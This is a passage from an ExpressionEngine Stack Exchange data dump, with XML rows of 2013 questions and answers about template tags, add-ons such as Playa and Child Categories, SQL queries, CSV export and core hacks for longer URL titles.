CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9892" PostTypeId="1" CreationDate="2013-04-30T13:50:57.920" Score="2" ViewCount="218" Body="&lt;p&gt;Anyone out there use MX Notify Control?  I am using the extension to send an email to a mailing list for a new channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses a standard template as the email, problem is I need to include an unsubscribe link in the template.  Since it is not using a mailing list template I have no way to include a mailing list unsubscribe link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how you can create an unsubscribe link OUTSIDE of a mailing list template?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-30T19:32:03.537" Title="MX Notify Control unsubscribe link" Tags="|notification|mailing|mailinglist|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9893" PostTypeId="1" AcceptedAnswerId="10300" CreationDate="2013-04-30T14:17:32.557" Score="1" ViewCount="164" Body="&lt;p&gt;I am using Laisvunas' Child Categories plugin on my site and am having some issues with conditionals on setting the selected navigation element for styling purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on this page: &lt;a href=&quot;http://rouviere.com/our-work/&quot; rel=&quot;nofollow&quot;&gt;http://rouviere.com/our-work/&lt;/a&gt; the code for the sidebar navigation is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;basic&quot;&amp;gt;&#xA;&#xA;    {exp:child_categories parent=&quot;102|105&quot; child_categories_sort_by=&quot;custom&quot; child_categories_sort_direction=&quot;asc&quot; show_empty=&quot;no&quot; entries_sort_by=&quot;date&quot; entries_sort_direction=&quot;asc&quot;}&#xA;&#xA;    {child_category_start}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a {if segment_3==&quot;{child_category_url_title}&quot;} class=&quot;selected&quot;{/if} &#xA;            {if &quot;{child_category_url_title}&quot; != &quot;photography&quot;}href=&quot;{site_url}our-work/category/{child_category_url_title}/{child_category_id}&quot; {/if}&#xA;            {if &quot;{child_category_url_title}&quot; == &quot;photography&quot;}href=&quot;{site_url}photo/&quot;{/if}&amp;gt;{child_category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {child_category_end}&#xA;{/exp:child_categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The navigation works fine, however, I would like to indicate which segment is active. I tried adding the following code (also seen above) to indicate which segment is active:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a {if segment_3==&quot;{child_category_url_title}&quot;} class=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing happens. I have tested it by manually entering a child category url title, so I know it works. Any clues on how to get this working properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-05-11T21:02:51.913" Title="Having trouble with a conditional with Child Categories Navigation" Tags="|module|css|child-categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9894" PostTypeId="1" CreationDate="2013-04-30T14:25:44.440" Score="0" ViewCount="142" Body="&lt;p&gt;I am currently looking at exporting member data periodically and submitting this to the server for the client to retrieve on a regular basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking at various modules which create a CSV file such as AJW Export. I was then going to visit this URL automatically using the Automatee plugin however I can only get the CSV file available for download in the browser, not to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks Ben&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------- EDIT -------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking through the forums and found some good examples, however when I implement these into my plugin file I just receive server errors. I'm working on MAMP but can't figure out what is causing the issue, when I replace the code below with some default text values, the plugin works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Export_to_server() {&#xA;   $this-&amp;gt;load-&amp;gt;helper('file');&#xA;   $this-&amp;gt;load-&amp;gt;dbutil();&#xA;&#xA;   $delimiter = &quot;,&quot;;&#xA;   $newline = &quot;\r\n&quot;;&#xA;   $query = $this-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM stations&quot;);    &#xA;   $csv = $this-&amp;gt;dbutil-&amp;gt;csv_from_result($query,$delimiter,$newline);&#xA;&#xA;   if ( !write_file('./uploads/', $csv))&#xA;&#xA;   {&#xA;      echo 'Unable to write the file';&#xA;   }&#xA;   else&#xA;   {&#xA;     echo 'File written!';&#xA;   } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also attempted&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Export_to_server() {&#xA;   $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('file');&#xA;   $this-&amp;gt;EE-&amp;gt;load-&amp;gt;dbutil();&#xA;&#xA;   $delimiter = &quot;,&quot;;&#xA;   $newline = &quot;\r\n&quot;;&#xA;   $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM stations&quot;);    &#xA;   $csv = $this-EE&amp;gt;-&amp;gt;dbutil-&amp;gt;csv_from_result($query,$delimiter,$newline);&#xA;&#xA;   if ( !write_file('./uploads/', $csv))&#xA;&#xA;    {&#xA;      echo 'Unable to write the file';&#xA;     }&#xA;    else&#xA;     {&#xA;       echo 'File written!';&#xA;     } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Forgive my noobie plugin skills, this is the first attempt at developing one for me!&lt;/p&gt;&#xA;" OwnerUserId="1082" LastEditorUserId="1082" LastEditDate="2013-05-01T09:43:50.223" LastActivityDate="2013-05-01T09:43:50.223" Title="Auto Export members to server" Tags="|export|cron|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9897" PostTypeId="1" CreationDate="2013-04-30T15:44:16.063" Score="1" ViewCount="114" Body="&lt;p&gt;I've setup some time ago a search field for matrix like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field search:matrix_col_01=&quot;value&quot;} {Title}... {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now i need to add an extra value from a checkbox&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field search:matrix_col_01=&quot;value_from_checkbox&quot; search:matrix_col_02=&quot;value_from_checkbox&quot;} &#xA;     {Title}... &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now is i don't see any values unless checkboxes from matrix_col_01 AND matrix_col_02 are checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to to have value_one AND/OR value_two ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why i need this is to return certain rows only that contain value_01 or value_02 , i don't want to show all rows in one time.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-05-31T08:32:06.853" Title="Search matrix rows with OR instead of AND" Tags="|matrix|search|dynamic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9898" PostTypeId="1" AcceptedAnswerId="9922" CreationDate="2013-04-30T15:54:35.103" Score="1" ViewCount="258" Body="&lt;p&gt;With Exp-resso Store, can I update a custom member field on checkout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on an site for an academic society and I'm hoping to use Store and Freemember to manage membership dues. Suppose I set up a custom member field called Paid Through Date (YYYY-MM-DD). Assuming I require customer registration, can I sell a &quot;2 year subscription&quot; product and have that Paid Through Date get calculated and updated? Would I just do the date calculations in PHP and put submit a hidden input form input on checkout? Is &lt;code&gt;&amp;lt;input type=&quot;hidden&quot;&amp;gt;&lt;/code&gt; even secure for POSTed data? If not, is there another way to track this &quot;Paid Through&quot; info for each member?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9382/expresso-store-how-to-use-the-checkout-tag-without-any-items-in-the-cart/9418#9418&quot;&gt;Adrian implies here&lt;/a&gt; that custom member fields (not just the mapped name/email/address info) &lt;em&gt;can&lt;/em&gt; be updated at checkout when a product is purchased.&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-04-30T23:53:02.670" Title="Expresso Store: pseudo-subscriptions" Tags="|expresso-store|members|freemember|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9899" PostTypeId="1" CreationDate="2013-04-30T15:57:29.747" Score="3" ViewCount="118" Body="&lt;p&gt;Is anyone else find that {page_url}, whether using Pages or Structure, is not being parsed at all?&lt;/p&gt;&#xA;" OwnerUserId="705" LastActivityDate="2013-04-30T16:53:56.187" Title="EE 2.6.0 not parsing {page_url}" Tags="|structure|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9901" PostTypeId="1" CreationDate="2013-04-30T16:49:42.643" Score="0" ViewCount="192" Body="&lt;p&gt;Is there a way to select parents from multiple child entry ids? For example, I have a blog channel with a playa relationship,via a blog_staff field, to a people channel (to identify authors of blog entries) and a team channel with a playa relationship, via a team_members field,  to people as well (to group them into teams). I tried to query for blog entries of multiple people but seem to be limited to only one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the playa field feeding the people entry_ids through an embed to a parents field to grab the associated blog entries:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{team_members}&#xA;    {embed=&quot;includes/.bp_by_staff&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/team_members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The .bp_by_staff template trying to use those people entry_ids to look up their blog posts: &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;blog&quot;  entry_id=&quot;{embed:people}&quot;}&#xA;    {title}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if {embed:people} is just one entry_id, say &quot;18&quot;, this works great, the blog posts get found. But if {embed:people} yields multiple entry ids (the team has more than one person), say &quot;18|29&quot;, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through the profiler for the generated sql of the failing case, one can see why.  It seems like including more than one entry_id breaks the sql query which uses &quot;=&quot; rather than &quot; in &quot; for the where clause: &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(rel.parent_entry_id) AS entry_id&#xA;FROM exp2_playa_relationships rel &#xA;WHERE rel.child_entry_id = 18|29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the where clause were using &quot;in&quot; as in &lt;code&gt;WHERE rel.child_entry_id in (18, 29)&lt;/code&gt; the query works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone find a workaround for getting results for multiple entry_ids ?&lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="448" LastEditDate="2013-05-01T02:05:30.660" LastActivityDate="2013-05-02T18:06:48.717" Title="Playa parent multiple entry_ids" Tags="|playa|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9902" PostTypeId="2" ParentId="9899" CreationDate="2013-04-30T16:53:56.187" Score="4" Body="&lt;p&gt;I found that the new Parser logic doesn't account for page_url in their $this-&gt;_urls block. Adding the following after line 423 of Simple_variable.php is the fix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif ($key == &quot;page_url&quot;)&#xA;{&#xA;    $tagdata = str_replace(LD.$key.RD, $data['page_url'], $tagdata);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="705" LastActivityDate="2013-04-30T16:53:56.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9903" PostTypeId="1" AcceptedAnswerId="9905" CreationDate="2013-04-30T16:55:13.143" Score="0" ViewCount="408" Body="&lt;p&gt;I have a channel field named {board_sort_order} and I limited the entry to Integer. I am trying to use that field to order the dynamic listing on the template. I have tried everything and search ALL of Google (almost, anyway) and cannot get the sort order to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my template tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;leaders&quot; disable=&quot;pagination&quot; search:is_board=&quot;Yes&quot; orderby=(int){board_sort_order} sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried it with and without the implicit PHP cast of (int).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if I leave out &quot;sort=&quot;asc.&quot; I just get the records in the reverse order of how they were input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY help is GREATLY appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1346" LastActivityDate="2013-04-30T19:23:38.197" Title="Orderby Not Working" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9904" PostTypeId="2" ParentId="3654" CreationDate="2013-04-30T17:07:07.580" Score="3" Body="&lt;p&gt;I was able to fix a similar problem on a different site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure the thumbnail directory has write permissions. The command I used was something like &quot;chmod -R 777 expressionengine/cache&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, take a look at the Image Resizing Preferences in the admin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Admin-&gt; System Administration-&gt; Image Resizing Preferences&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Image Resizing Protocol to ImageMagick.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the Image Converter Path to the location of the ImageMagick binary. You can find the path by running &quot;which convert&quot; on the server command line. If it doesn't show a path, then then you need to install ImageMagick on the server. In my case the path was &quot;/usr/bin&quot; but another common location for it is &quot;/usr/local/bin&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1410" LastActivityDate="2013-04-30T17:07:07.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9905" PostTypeId="2" ParentId="9903" CreationDate="2013-04-30T17:08:37.533" Score="1" Body="&lt;p&gt;It looks you have a syntax error in your tag. Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;leaders&quot; disable=&quot;pagination&quot; search:is_board=&quot;Yes&quot; orderby=&quot;board_sort_order&quot; sort=&quot;asc&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-04-30T19:23:38.197" LastActivityDate="2013-04-30T19:23:38.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9906" PostTypeId="2" ParentId="9892" CreationDate="2013-04-30T17:27:45.630" Score="1" Body="&lt;p&gt;There is no tag for {unsubscribe_url} or {unsubscribe_link}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you are using the MX Notify Control extension and creating your own email notify template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within this template, you can try following SQL with query module to create unsubscribe link for an email:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT exp_actions.action_id, exp_mailing_list.authcode FROM exp_mailing_list, exp_actions WHERE email='{mbr_email}' AND class='Mailinglist' AND method='unsubscribe'&quot;}&#xA;&amp;lt;a href=&quot;{site_url}index.php?ACT={action_id}&amp;amp;id={authcode}&quot;&amp;gt;Unsubscribe&amp;lt;/a&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to update the {email_address} in WHERE condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-30T18:39:53.013" LastActivityDate="2013-04-30T18:39:53.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9908" PostTypeId="1" AcceptedAnswerId="9911" CreationDate="2013-04-30T17:42:13.137" Score="0" ViewCount="99" Body="&lt;p&gt;I'm trying to compare two entries from two different channels and see if they share a common category. Each entry can be assigned to a number of categories. Both channels use the same category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display some information if the same category is assigned to both entries. That's the easy bit :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this? I'll admit my brain's a bit fried this afternoon so I may well be missing the obvious solution.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-30T20:23:48.890" Title="How can I compare the categories assigned to 2 different entries?" Tags="|categories|entries|comparison|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9909" PostTypeId="2" ParentId="9901" CreationDate="2013-04-30T17:44:22.217" Score="0" Body="&lt;p&gt;&lt;strong&gt;Revising my answer&lt;/strong&gt;, The multiple entry_ids issue &lt;em&gt;was&lt;/em&gt; addressed, in &lt;a href=&quot;http://docs.pixelandtonic.com/playa/changelog.html#playa-4-2&quot; rel=&quot;nofollow&quot;&gt;version 4.2&lt;/a&gt;.  Upgrading Playa seems to resolve it. Templates used:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/.nested-entries&quot; entry_ids=&quot;{team_members:child_ids}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and .nested_entries embed would take the entry_id and look up the blog written by that &quot;people&quot; entry:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;{embed:entry_ids}&quot;  channel=&quot;blog&quot;  field=&quot;blog_staff&quot;  orderby=&quot;date&quot;&#xA;limit=&quot;10&quot; disable=&quot;member_data|categories&quot; paginate=&quot;bottom&quot; }&#xA;&#xA;    {title}&#xA;&#xA; {pagination_links}&#xA;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Side point, needing paginagion links, i made sure they weren't disabled by explicitly specifying what to disable.&lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="448" LastEditDate="2013-05-02T18:06:48.717" LastActivityDate="2013-05-02T18:06:48.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9910" PostTypeId="2" ParentId="2230" CreationDate="2013-04-30T17:49:28.270" Score="11" Body="&lt;p&gt;&lt;em&gt;Note: The &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;Title Master&lt;/a&gt; add-on should take care of all of this, but if you can't use that for whatever reason, here is the procedure for the hack:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update 10/10/14: Title Master appears to be abandonware at this point.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works as of EE 2.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Always back up your files and database before hacking the core!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Native EE Titles &amp;amp; URL Titles&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/system/expressionengine/controllers/cp/content_publish.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$deft_fields = array(&#xA;    'title'         =&amp;gt; array(&#xA;        /* ... */&#xA;        'field_maxl'            =&amp;gt; 100 // update to desired max title length&#xA;    ),&#xA;    'url_title'     =&amp;gt; array(&#xA;        /* ... */&#xA;        'field_maxl'            =&amp;gt; 75 // update to desired max url title length&#xA;    ),&#xA;&#xA;    /* ... */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This updates the &lt;code&gt;maxlength&lt;/code&gt; attribute on the input fields so you can type longer titles/URL titles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/system/expressionengine/libraries/Api.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url_title = substr($url_title, 0, 75); // update to desired max url title length&#xA;&#xA;/* ... */&#xA;&#xA;if (strlen($url_title) &amp;gt; 70) // update to desired max url title length minus 5&#xA;{&#xA;    $url_title = substr($url_title, 0, 70); // update to desired max url title length minus 5&#xA;&#xA;/* ... */&#xA;&#xA;if (strlen($url_title.$url_title_suffix) &amp;gt; 75) // update to desired max url title length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This updates the function that actually publishes the entry to the database to allow a longer URL title.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/themes/javascript/compressed/jquery/plugins/ee_url_title.js&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near the end of the code, find &lt;code&gt;.val(a.substring(0,75))&lt;/code&gt; and update &quot;75&quot; to your desired URL title length. This allows the URL title to autofill to the correct length.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into the database and update the length of the following columns:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;exp_channel_titles.title&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;exp_channel_titles.url_title&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will allow your longer titles to be stored correctly in the database columns.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Structure URL Titles&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/system/expressionengine/third_party/structure/tab.structure.php&lt;/code&gt;, inside the &lt;code&gt;publish_tabs()&lt;/code&gt; method, in the &quot;Field: Page URI/Slug&quot; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$settings[] = array(&#xA;    /* ... */&#xA;    'field_maxl'            =&amp;gt; 100, // update to your desired max url title length&#xA;&#xA;    /* ... */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This updates the &lt;code&gt;maxlength&lt;/code&gt; attribute in the input field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update the length of this database column:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;exp_structure_listings.uri&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This allows for longer URL titles on Structure listing-type entries. Page-type entry URL titles are encrypted and stored in the &lt;code&gt;exp_sites&lt;/code&gt; table, and I do not believe you need to make any modifications there for longer URL titles to work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Document, Document, Document!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Be sure to document the changes you made so they don't get overwritten when you update EE. It's also just the professional thing to do. If you leave the project and another developer has to take your place and figure out what you did, good documentation will keep them from cursing your black soul. I recommend Focus Lab's &lt;a href=&quot;https://github.com/focuslabllc/dev_docs.ee_addon&quot; rel=&quot;nofollow&quot;&gt;Dev Docs&lt;/a&gt; module.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-12-09T21:29:48.030" LastActivityDate="2014-12-09T21:29:48.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9911" PostTypeId="2" ParentId="9908" CreationDate="2013-04-30T17:53:48.457" Score="3" Body="&lt;p&gt;exp:query would be a fairly painless way to check how many categories (if any) the two entries share. The count(*) could be changed to cp1.cat_id if you'd rather retrieve the category id from the query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) AS count FROM (SELECT cat_id FROM exp_category_posts WHERE entry_id = {first_entry_id}) cp1 INNER JOIN (SELECT cat_id FROM exp_category_posts WHERE entry_id = {first_entry_id}) cp2 ON cp1.cat_id = cp2.cat_id&quot;}&#xA;  {count}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-04-30T17:53:48.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9912" PostTypeId="1" AcceptedAnswerId="9927" CreationDate="2013-04-30T18:07:01.690" Score="0" ViewCount="45" Body="&lt;p&gt;I am pretty sure I know the answer to my question but wanted a second opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client asked 'If we change/add to an order already entered, will these changes be re-process through the payment gateway'. I am 99% sure no, but I thought I should check.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2013-05-01T08:01:02.387" Title="CartThrob - Changing Order - Re-process?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9914" PostTypeId="2" ParentId="9866" CreationDate="2013-04-30T18:50:50.753" Score="1" Body="&lt;p&gt;That was exactly what I needed to do, just didn't think about it at the end of the day. Building the JS object onClick of the button, then filling a textarea prior to submit. Thanks for the point in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-04-30T18:50:50.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9915" PostTypeId="2" ParentId="9857" CreationDate="2013-04-30T20:03:44.823" Score="1" Body="&lt;p&gt;I ended up just using &lt;a href=&quot;http://devot-ee.com/add-ons/next-previous-links-anywhere&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/next-previous-links-anywhere&lt;/a&gt; seemed to work just great for me in this case&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-04-30T20:03:44.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9916" PostTypeId="2" ParentId="9908" CreationDate="2013-04-30T20:23:48.890" Score="0" Body="&lt;p&gt;It's definitely easier said than done to accomplish this. I ended up using a few different things here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--GW Code Categories: &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allowed me to pass the Category ID through to my listing template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--For my build some entries could have had more than one category, so I used Solspace's Primary Category (&lt;a href=&quot;http://www.solspace.com/software/detail/primary_category/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/primary_category/&lt;/a&gt;) to allow me to know which category was the main one which allowed me to pass variables down to other templates.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;#&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'd be happy to assist you further as I'm one of the many EEers that get frustrated with the lack of Categories being part of the Publish section of EE. Thank heavens there are addons that allow us to expand on EE's limiting Category functionality.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-04-30T20:23:48.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9917" PostTypeId="2" ParentId="7153" CreationDate="2013-04-30T20:33:18.757" Score="1" Body="&lt;p&gt;Wygwam sucks at removing formatting. I have exhausted all resources in trying to find an adequate solution. Luckily I have found 2 simple plugins that will take care of this for you, depending on what you're trying to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Two Scenarious&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You're using WYGWAM to show an H1 and want to keep the Spell Checker in place but want to lose the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag it outputs. Use PtoBR: &lt;a href=&quot;http://devot-ee.com/add-ons/paragraph-to-br&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/paragraph-to-br&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You're using WYGWAM to output a &quot;summary&quot; on a blog listing and want everything remove but a few things, then I'd use Super Geekery Tag Stripper: &lt;a href=&quot;http://devot-ee.com/add-ons/supergeekery-tag-stripper&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/supergeekery-tag-stripper&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both are quite useful depending on your needs. There are other strippers out there like Hacksaw, but those are two that I absolutely recommend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One last thing you can do:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &quot;paste from 